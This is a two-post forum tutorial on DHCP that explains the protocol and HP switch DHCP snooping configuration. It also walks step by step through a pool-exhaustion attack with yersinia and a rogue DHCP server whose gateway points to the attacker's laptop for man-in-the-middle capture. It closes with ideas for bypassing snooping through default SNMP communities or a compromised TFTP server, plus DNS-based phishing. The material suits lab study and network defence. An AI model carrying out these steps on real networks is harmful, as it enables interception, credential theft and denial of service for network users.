Network security features and how to get pass part 2 - DHCP snooping

[RedBullAddicted]

This is a tutorial for DHCP attacks and the possibility to implement protection mechanisms on hp switches.
HP DHCP Protection on a switch is almost exactly the same as the cisco way of implementing this.
 
Contents
- Resources used for this tutorial
- Stuff I used for testing
- What the hell is DHCP
- DHCP vulnerabilities
- How to use these vulnerabilities
- Protecting against DHCP attacks
- Some ideas to get past DHCP protection features
 
1. Resources used for this tutorial
- HP Networking student guides
- HP Networking configuration guides
- Cisco student guides
- HP and Cisco website
- some stuff I used for my own presentations
- various other websites
 
2. Stuff I used for testing
- HP ProCurve 2610
- three notebooks/vms 
(1x DHCP server: Ubuntu 10.04 Server, 1x DHCP client: Ubuntu 10.04 Server, 
 1x fake DHCP: Ubuntu 10.04 Server)
 
3. What the hell is DHCP?
DHCP is short for Dynamic Host Configuration Protocol and allows the assigment
of network configuration to clients by a server. DHCP is definied in RFC2131 and IANA (Internet Assigned
Numbers Authority) reserved UDP port 67 and 68 for that. DHCP gives the possibility to connect a client to
an existing network without setting stuff like ip address, subnetmask, gateway, dns server and so on
manually. The client only needs to be configured for automated obtaining of network configuration. DHCP is 
an extension to BOOTP (Bootstrap Protocol) which provides the opportunity to deploy "drive-less" workstations.
These workstations first get an IP address from the BOOTP server and afterwards the machine loads a
startable operating system from the network. DHCP is mostly compatible to BOOTP and it is possible to work
with BOOTP clients and servers. 
 
DHCP was developed for two major scenarios:
1. big networks with often changing topologies
2. For people who just want to have a network connection without needing to set it up by themselves.
 
what does a DHCP packet looks like
a DHCP packet consists of 32 Bit:
- op (1Byte): Information about the type of the packet (request = 1 and reply = 2)
- htype (1Byte): Networktype (e.g. 1 = Ethernet, 6 = IEEE 802 Network or 8 = FDDI)
- hlen (1Byte): Length of the physical network address in bytes (e.g. 6 = MAC/Ethernet-Address)
- hops (1Byte, optional): Number of DHCP-relay-agents on the path
- xid (4Byte): Connection ID between client and server
- secs (2 Byte): Time in seconds since boot time of the client
- flags (2 Byte): at this time only the first bit is used (shows if the client still has a valid IP address). 
  The other bits are reserved for future use
- ciaddr (4 Byte): Client IP address
- yiaddr (4 Byte): own IP address
- siaddr (4 Byte): Server IP address
- giaddr (4 Byte): relay agent IP address
- chaddr (16 Byte): Client MAC address
- sname (64 Byte): name of the DHCP Server if a specific is needed (this info is optional)
- file (128 Byte): name of a file which the DHCP server should send to the client via TFTP (this info is optional) 
 (e.g. config file for VOIP phone)
- options (variabel, optional): DHCP-Parameter and -Options (defined in RFC 2132)
 
DHCP Commands
- DHCPDISCOVER: The Client without an IP address sends a broadcast message for address offers to the network
- DHCPOFFER: The DHCP server answers the DHCPDISCOVERY request with equivalent data
- DHCPREQUEST: the client asks for an offered IP address
- DHCPACK: DHCP Server send acknowledgement to the DHCPREQUEST
- DHCPNAK: DHCP server denies the DHCPREQUEST
- DHCPDECLINE: Client disagress to the DHCPACK cause the address is already in use
- DHCPRELEASE: Client releases his IP configuration
- DHCPINFORM: Request for DHCP data without obtaining an IP address (cause the client has a static one)
 
How does a normal DHCP Conversation look like
The normal way DHCP communication looks like is often reffered to as DORA (Discover, Offer, Request and Acknowledgement)
 

 
Ok, this should be enough for that part of the tutorial. For further reading I would recommend this: 
http://en.wikipedia.org/wiki/DHCP
 
DHCP options
In general, DHCP packets carry a number of data fields that are more specifically called “options”. Each 
option is used to convey information about the client, a DHCP relay agent, or the DHCP server. 
Examples of DHCP options include:
- Option 3—The default gateway’s (router’s) IP address.
- Option 6—The DNS server’s IP address.
- Option 12—The client’s “host” name. In the case of Windows, this corresponds to the computer name.
- Option 50—The IP address requested by the client. If a client is renewing a previously assigned IP 
  address, this option specifies that IP address.
- Option 51—The IP address lease time.
- Option 53—The DHCP message type, e.g., Discover, Offer, and so forth.
- Option 54—The DHCP server’s IP address. This field would be filled in by a DHCP relay agent.
- Option 55—Identifies the parameters being requested by the client. This list can include the default 
  gateway, subnet mask of an assigned IP address, and NetBIOS support features.
- Option 58—IP address renewal time which is usually less than the lease time.
- Option 60—Identifies the client’s vendor class, e.g., Microsoft.
- Option 61—Provides identifying information about the client, such as the media connection type, e.g., 
  Ethernet, and the MAC address.
- Option 82—Provides identifying information about the DHCP relay agent.
 
4. DHCP vulnerabilities
lets start talking about the interesting part :-). 
DHCP is designed to work in the trusted internal network and does not provide authentication or access
controls. Because of this lack of built-in security, a DHCP server has no way to verify that the client
requesting an address is a legitimate client on the network. Also the DHCP client has no way to verify
that the DHCP server who is offering an address is a legitimate server. Therefore DHCP is vulnerable
to attacks from both rogue clients and servers
 
There are two typical DHCP attacks:
- Address spoofing: A rogue DHCP server on the network can assign invalid IP addressing information
to client devices. This includes the IP address of the client itself, the default gateway, DNS servers and
WINS servers. Without a valid IP address the client is not able to reach any service provided on the
network.
 
- Address exhaustion: An attacker can access the network and request IP addresses until the DHCP servers
supply of available IP address is exhausted. This prevents a legitimate client from receiving IP addresses
and accessing the network
 
Both of these attacks can disrupt network service and cause security breaches.
 

 
5. How to use these vulnerabilities
For this tutorial I want to show you how you can use a bit of both techniques explained in chapter 4.
The attack I will show you can be described like this:
Assuming we have a network 10.10.0.0/24 with a default gateway of 10.10.0.1 and a DHCP server with 10.10.0.2
As DHCP Discover is sent out via broadcast, the first DHCP server that answers gets the client. So we need
to make sure that our rogue DHCP Server is answering faster than the legitimate one. We dont want to assign
invalid IP addresses to make sure our attack is not recognized so fast. We will only change the default
gateway option to our Laptop IP address. This means all traffic for other subnets needs to pass our machine and 
this gives us the posibility for happy capturing and man-in-the-middle attacks :-)
 
Step 1
Plug your Laptop to the network and have a look at what you got. On Windows you can use ipconfig/all and
on Linux you can use ifconfig and some more
 
Windows

Code: [Select]

C:\>ipconfig /all
...
IP Address. . . . . . . . . . . . : 10.10.0.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.0.1
DNS Servers . . . . . . . . . . . : 10.10.0.3
DHCP Servers . . . . . . . . . . .: 10.10.0.2
Connection-specific DNS Suffix  . : test.local
...
 
Linux

Code: [Select]

root@evilbook:~ # ifconfig
eth0      ...
          inet addr:10.10.0.10  Bcast:10.10.0.255  Mask:255.255.255.0
          ...
 
root@evilbook:~ # cat /etc/resolv.conf
...
nameserver 10.10.0.3
...
 
root@evilbook:~ # route
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
...
default         10.10.0.1        0.0.0.0         UG    0      0        0 eth0
...
 
Ok, now we have all information that is needed for that attack and it was given to us without the need
to do anything. Isn't that very kind of the DHCP server. :-)
 
Now we can start our attack. I had planned to write a script which is doing DHCP flooding but with the knowledge
I have about programming at the moment I was not able to do it. So I decided to use the very nice little Linux 
tool called yersinia (can even do more then just DHCP attacks). On Debian it is simply installed by running

Code: [Select]

apt-get install yersinia 
or you can download it from this site: http://www.yersinia.net/index.htm
 
Before you start you should set your network configuration static:

Code: [Select]

root@evilbook:~ # ifconfig eth0 10.10.0.10 netmask 255.255.255.0
root@evilbook:~ # route add default gw 10.10.0.1
root@evilbook:~ # echo nameserver 10.10.0.3 > /etc/resolv.conf
 
After installation you can fire it up by running:

Code: [Select]

yersinia -I or yersinia -G
-I starts the interactive console and -G starts the graphical mode 
 
After you started the graphical interface select the "DHCP" Tab, click on "Launch Attack" and select
"sending DISCOVER packet"

 
before you click on "OK" we take a short look at our DHCP Server leases

Code: [Select]

root@server:/# cat /var/lib/dhcp3/dhcpd.leases
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-V3.1.3
 
Ok, as there are no leases at the moment we click on ok to start the attack. After we waited a bit
(1 min. I suggest) we stop the attack and take a look at our DHCP server leases
 

Code: [Select]

root@server:/# cat /var/lib/dhcp3/dhcpd.leases
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-V3.1.3
lease 10.10.0.11 {
  starts 3 2012/08/15 17:38:03;
  ends 3 2012/08/15 17:48:03;
  cltt 3 2012/08/15 17:38:03;
  binding state active;
  next binding state free;
}
...
lease 10.10.0.254 {
  starts 3 2012/08/15 17:38:03;
  ends 3 2012/08/15 17:48:03;
  cltt 3 2012/08/15 17:38:03;
  binding state active;
  next binding state free;
}
...
 
As you see there is no address's left for assignment. Now we can start up our own DHCP server 
my configuration looks like this:

Code: [Select]

root@evilbook:~ # cat /etc/dhcp3/dhcpd.conf
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.10.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.10.0.255;
option routers 10.10.0.10;
option domain-name-servers 10.10.0.3;
range 10.10.0.11 10.10.0.255; }
 
You may have noticed that I set the default gateway option to the IP of my notebook. 
Start the Server and your favorite packet capturing tool. To verify that there are client connecting
to you server you can always look at the leases file.
 
Last but not least we need to tell our rogue DHCP box that it needs to forward ip packets:

Code: [Select]

echo 1 > /proc/sys/net/ipv4/ip_forward
 
6. Protecting against DHCP attacks
Again this is from a networker point of view and I focus on the hp way of doing things. If you need to 
know how this can be done on cisco you can read this one: 
http://forum.intern0t.org/security-tutorials-guides/758-preventing-arp-dhcp-spoofing-cisco-switches.html
 
DHCP-Snooping
DHCP snooping differentiates between trusted and untrusted ports
- Drops DHCP server packets from untrusted ports
- Filters DHCP client packets
- builds a DHCP IP address to MAC address binding database
 
HP switches that support the DHCP snooping feature can protect your network against these DHCP address 
spoofing and exhaustion attacks. With DHCP snooping configured, the switch takes the role of a security 
guard, overseeing DHCP exchanges and ensuring that DHCP clients and servers act as they should.
 
As part of the DHCP snooping process, the switch distinguishes between trusted and untrusted ports. 
Trusted ports connect to the network’s own trusted devices, such as the DHCP server. The switch allows 
DHCP packets to flow freely on these ports. On untrusted ports, the switch inspects DHCP packets to 
determine whether or not the packets will be allowed.
 
Here are three of the types of activities performed by the DHCP snooping feature:
- DHCP server packets should not originate from untrusted ports. So if the switch detects these types 
of packets, it immediately discards them.
- The switch also verifies information in DHCP client packets before allowing the packets onto the 
network. For example, the switch drops packets in which the source MAC address does not match the DHCP 
check MAC address—a sign of spoofing.
- The switch can also be configured to handle packets that have the DHCP option 82 parameter 
present— another potential sign of suspicious behavior.
 
Using option 82 with DHCP snooping
The DHCP snooping feature blocks DHCP attacks by filtering DHCP packets on untrusted ports. In addition, 
the DHCP snooping feature can facilitate the functions of DHCP itself by using option 82.
 
Option 82 can be used to provide identifying information about the DHCP relay agent. Option 82 allows a 
DHCP server to apply specialized configuration policies when assigning IP addresses and other 
configuration information to clients based on what value is in option 82. For example, you may want 
certain ranges of IP addresses to be associated with certain areas of the network. Or, a service
provider’s DHCP server might limit a certain switch port to a set number of IP addresses, ensuring that a 
subscriber network does not consume too many IP addresses.
 
To a DHCP server, however, all incoming DHCP packets will “look alike” without option 82 information 
specified. With option 82, the switch acts as the DHCP server’s eyes, adding the information that the 
DHCP server needs so that it can select the correct configuration policy. This information includes the 
following:
- Remote ID—The remote identifier corresponds to an address identifier of the switch. It can be the 
switch’s IP address or MAC address.
- Circuit ID—The circuit identifier corresponds to the physical switch port on which the client DHCP 
request was received.
 
A general requirement of option 82 is that a switch must act as the relay for the DHCP request in order to
modify or insert the information. Therefore, unless a switch is the DHCP relay, it cannot normally 
manipulate DHCP requests and must forward the DHCP packets.
 
This limitation can affect the following two scenarios:
- Another switch acts as the DHCP relay, but is not configured to insert the correct value for option 82 
or does not support the capability.
- The DHCP client is on the same subnet as the DHCP server, so the switch does not need to act as a relay. 
That is, the DHCP client and DHCP server can potentially communicate directly with the switch merely 
forwarding the packets.
 
However, with DHCP snooping enabled on a VLAN, the switch can inspect all DHCP packets on untrusted ports. 
This configuration capability allows the switch to modify or insert option 82 for those scenarios where 
the DHCP client and server are in the same subnet.
 
for more information about option 82 you can read this: http://tools.ietf.org/html/rfc3046
I know its hard to read these RFC memos but you will find all informations on it.
 
Implementing DHCP Snooping on HP switch
 
1. Enable DHCP Snooping globally and then for each vlan to be protectet

Code: [Select]

hpswitch(config)# dhcp-snooping
hpswitch(config)# dhcp-snooping vlan 5
hpswitch(config)# dhcp-snooping vlan 10
 
2. define trusted port (where your DHCP server is located) All other ports are untrusted by default

Code: [Select]

hpswitch(config)# dhcp-snooping trust 1
 
3. Optinally define the IP address of your DHCP server

Code: [Select]

hpswitch(config)# dhcp-snooping authorized-server 10.10.0.2
 
4. Configure Option 82 (This is optional)
If switch has multiple VLANs that use the same DHCP server, you would typically select the subnet-ip option
Options are: mac (default), subnet-ip, mgmt-ip

Code: [Select]

hpswitch(config)# dhcp-snooping option 82 remote-id subnet-ip
Specify how the switch deals with DHCP requests from untrusted endpoints that have option 82 already set
Options are: drop (default), keep, replace

Code: [Select]

hpswitch(config)# dhcp-snooping option 82 untrusted-policy replace
 
5. Tell the switch where it should save the dhcp-snooping database

Code: [Select]

hpswitch(config)# dhcp-snooping database file tftp://10.10.0.250/core-bind.db
 
Summary: DHCP snooping
 
DHCP snooping protects against attacks involving IP address spoofing and IP address exhaustion
 
The primary configuration steps are:
- Enable DHCP snooping globally
- Specify the VLANs to be protected
- Define trusted ports
 
With DHCP snooping enabled, a switch differentiates between trusted and untrusted ports
- Drops DHCP server packets received on untrusted ports
- Filters/modifies DHCP client packets received on untrusted ports
 
A DHCP IP address to MAC address binding database is used to track valid DHCP assignments
A DHCP server uses information in option 82 to apply the correct policies to DHCP requests
- A switch with DHCP snooping enabled can control DHCP requests containing this option and can also modify the value
 
7. Some ideas to get past DHCP protection features
 
with DHCP snooping its just the same as it is with ARP protection. There is not really a way around it. As the switch
is using trusted and untrusted ports it will not help to spoof the MAC address of the original DHCP server.
But as administrators are only human they do mistakes and maybe you can find a way around it. 
e.g they forgot to change the default snmp value which looks like:

Code: [Select]

snmp-server community "public" Unrestricted 
if you can do snmpwalk against the switch try using this MIB and try to turn off DHCP snooping: hpicfDhcpSnoop.mib
From my experience I can tell that not many companies implement these features. Implementing some kind of ARP
or DHCP protection means that you don't trust your employees. You need to know, if a feature like ARP protection
reports an attack and you can indentify who is causing this, the guy is going to be fired. It's not just playing
around .. you will be treated as identity theft. 
As you know most companies are using virtualization for there servers like VMWare. Mostly (in a bit greater Enviroment)
Blades will be used and they share a Uplink to the Network. If you manage to get control over a VM you can use it.
Maybe the vm you are on is using the same link to the network as the DHCP server does. But if you managed to break into
the virtual infrastructure you wont need that kind of attack anymore :-)
On thing I can imagine is to break in to the TFTP server and edit the dhcp-snooping database. If you managed to do that
you should at least be able to do some ARP attacks. 
 
And thats all for this tutorial.
 
Thanks for reading and I hope you enjoyed. Thanks again to Daemon for correcting my mistakes :-)

[RedBullAddicted]

Hi guys,

I forgot to mention that you can also use nmap for the DHCP Address exhaustion attack. I have not tried it until now but this really looks great: http://nmap.org/nsedoc/scripts/dhcp-discover.html

If you change the DNS Server value within the rogue DHCP Server to your own one you will be able to do phising attacks as well.

Cheers